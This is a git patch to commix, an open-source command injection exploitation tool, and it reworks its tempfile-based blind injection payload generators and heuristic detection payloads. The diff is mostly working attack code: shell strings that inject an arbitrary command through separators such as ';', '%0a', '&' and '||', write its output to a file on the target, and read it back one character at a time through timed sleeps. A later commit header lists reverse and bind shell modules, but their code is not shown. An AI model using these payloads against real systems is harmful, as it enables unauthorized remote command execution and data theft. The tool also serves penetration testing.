a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -111,7 +111,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): """ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator == "||" : pipe = "|" payload = (pipe + " " @@ -136,24 +136,24 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque else: if separator == ";" : payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -161,12 +161,12 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -174,10 +174,10 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque elif separator == "||" : pipe = "|" payload = (pipe + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " " # Find the length of the output, using readline(). - "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) else: pass @@ -188,7 +188,9 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ @@ -243,7 +245,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # Find the length of the output. "str1=$(expr length \"$str\")" + separator + #"str1=${%23str}" + separator + - "if [ " + str(j) + " != ${str1} ]" + separator + + "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0 " + separator + "else sleep " + str(timesec) + separator + # Transform to ASCII @@ -261,7 +263,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # Find the length of the output. "str1=$(expr length \"$str\")" + separator + #"str1=${%23str}" + separator + - "if [ " + str(j) + " != ${str1} ]" + separator + + "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0 " + separator + "else sleep " + str(timesec) + separator + # Transform to ASCII @@ -308,7 +310,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth """ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator == "||" : pipe = "|" payload = (pipe + @@ -339,24 +341,24 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ else: if separator == ";" : payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " != ${str1} ] " + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + + "if [ " + str(j) + " -ne ${str1} ] " + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " != ${str1} ] " + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + + "if [ " + str(j) + " -ne ${str1} ] " + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -364,12 +366,12 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -377,9 +379,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ elif separator == "||" : pipe = "|" payload = (pipe + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " " - "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " " + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -390,7 +392,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ @@ -422,7 +426,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (separator + # Use space as delimiter "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -433,7 +437,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (separator + # Use space as delimiter "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -473,7 +477,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http """ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print ord(file.read().strip()[" + str(num_of_chars - 1) + "][0]); exit(0)\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" if separator == "||" : pipe = "|" payload = (pipe + " " @@ -496,20 +500,20 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t else: if separator == ";" : payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -517,10 +521,10 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -528,8 +532,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -539,7 +543,9 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ @@ -572,7 +578,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth if separator == ";" : payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + + "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -582,7 +588,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth #separator = "\n" payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + + "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -616,7 +622,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth """ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print file.readlines()[0][" + str(num_of_chars - 1) + "]; exit(0)\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" if separator == "||" : pipe = "|" payload = (pipe + " " @@ -639,20 +645,20 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, else: if separator == ";" : payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -660,10 +666,10 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -671,8 +677,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -683,7 +689,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 2613efc0cb..6765d681cf 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -130,7 +130,6 @@ def check_custom_injection_marker(url): print(settings.print_error_msg(err_msg)) pass - """ Define HTTP User-Agent header. """ @@ -483,13 +482,6 @@ def main(filename, url): if not menu.options.tech: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - # Check if specified wrong alternative shell - if menu.options.alter_shell: - if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: - err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: @@ -606,6 +598,13 @@ def main(filename, url): if settings.STABLE_RELEASE == False: common.days_from_last_update() + # Check if specified wrong alternative shell + if menu.options.alter_shell: + if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: + err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Define the level of verbosity. if menu.options.verbose > 4: err_msg = "The value for option '-v' " diff --git a/src/utils/settings.py b/src/utils/settings.py index 4526e71893..65ca93ef3c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "76" +REVISION = "77" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -273,12 +273,25 @@ def sys_argv_errors(): INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' +# Default (windows) target host's python interpreter +WIN_PYTHON_INTERPRETER = "python.exe" +USER_DEFINED_PYTHON_DIR = False + +# Default (linux) target host's python interpreter +LINUX_PYTHON_INTERPRETER = "python3" +USER_DEFINED_PYTHON_INTERPRETER = False + #Basic heuristic checks for command injections RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) -BASIC_STRING = str(RAND_A) + "+" + str(RAND_B) -BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))", - "|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")" +CALC_STRING = str(RAND_A) + "+" + str(RAND_B) +BASIC_STRING = "(" + CALC_STRING + ")" +BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")&&echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", + "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING + ] +ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")&&echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", + "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p =%i< nul &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p =%i< nul" ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) IDENTIFIED_COMMAND_INJECTION = False @@ -877,14 +890,6 @@ def sys_argv_errors(): # Ignore Error Message IGNORE_ERR_MSG = False -# Default (windows) target host's python interpreter -WIN_PYTHON_INTERPRETER = "python.exe" -USER_DEFINED_PYTHON_DIR = False - -# Default (linux) target host's python interpreter -LINUX_PYTHON_INTERPRETER = "python3" -USER_DEFINED_PYTHON_INTERPRETER = False - # Windows PHP installed directory. WIN_PHP_DIR = "C:\\xampp\\php\\php.exe" USER_DEFINED_PHP_DIR = False From 40eea73a1aea866f06defe942e5a71222a765c2b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 7 Jun 2022 07:36:03 +0300 Subject: [PATCH 0154/1023] Multiple fixes and updated --- .../techniques/time_based/tb_enumeration.py | 319 +++++++-------- .../techniques/time_based/tb_file_access.py | 21 +- .../blind/techniques/time_based/tb_handler.py | 150 ++++--- .../techniques/time_based/tb_injector.py | 82 +--- src/core/injections/controller/checks.py | 70 ++-- src/core/injections/controller/controller.py | 13 +- .../techniques/classic/cb_enumeration.py | 247 +++++------- .../techniques/classic/cb_file_access.py | 19 +- .../techniques/classic/cb_handler.py | 129 +++--- .../techniques/eval_based/eb_enumeration.py | 264 ++++++------ .../techniques/eval_based/eb_file_access.py | 19 +- .../techniques/eval_based/eb_handler.py | 126 +++--- .../techniques/file_based/fb_enumeration.py | 270 +++++-------- .../techniques/file_based/fb_file_access.py | 19 +- .../techniques/file_based/fb_handler.py | 71 ++-- .../tempfile_based/tfb_enumeration.py | 347 ++++++++-------- .../tempfile_based/tfb_file_access.py | 20 +- .../techniques/tempfile_based/tfb_handler.py | 103 ++--- .../techniques/tempfile_based/tfb_injector.py | 88 +--- src/core/main.py | 4 +- src/core/modules/shellshock/shellshock.py | 376 +++++++++--------- src/core/requests/parameters.py | 2 +- src/core/requests/requests.py | 4 +- src/core/shells/bind_tcp.py | 45 +-- src/core/shells/reverse_tcp.py | 73 ++-- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- 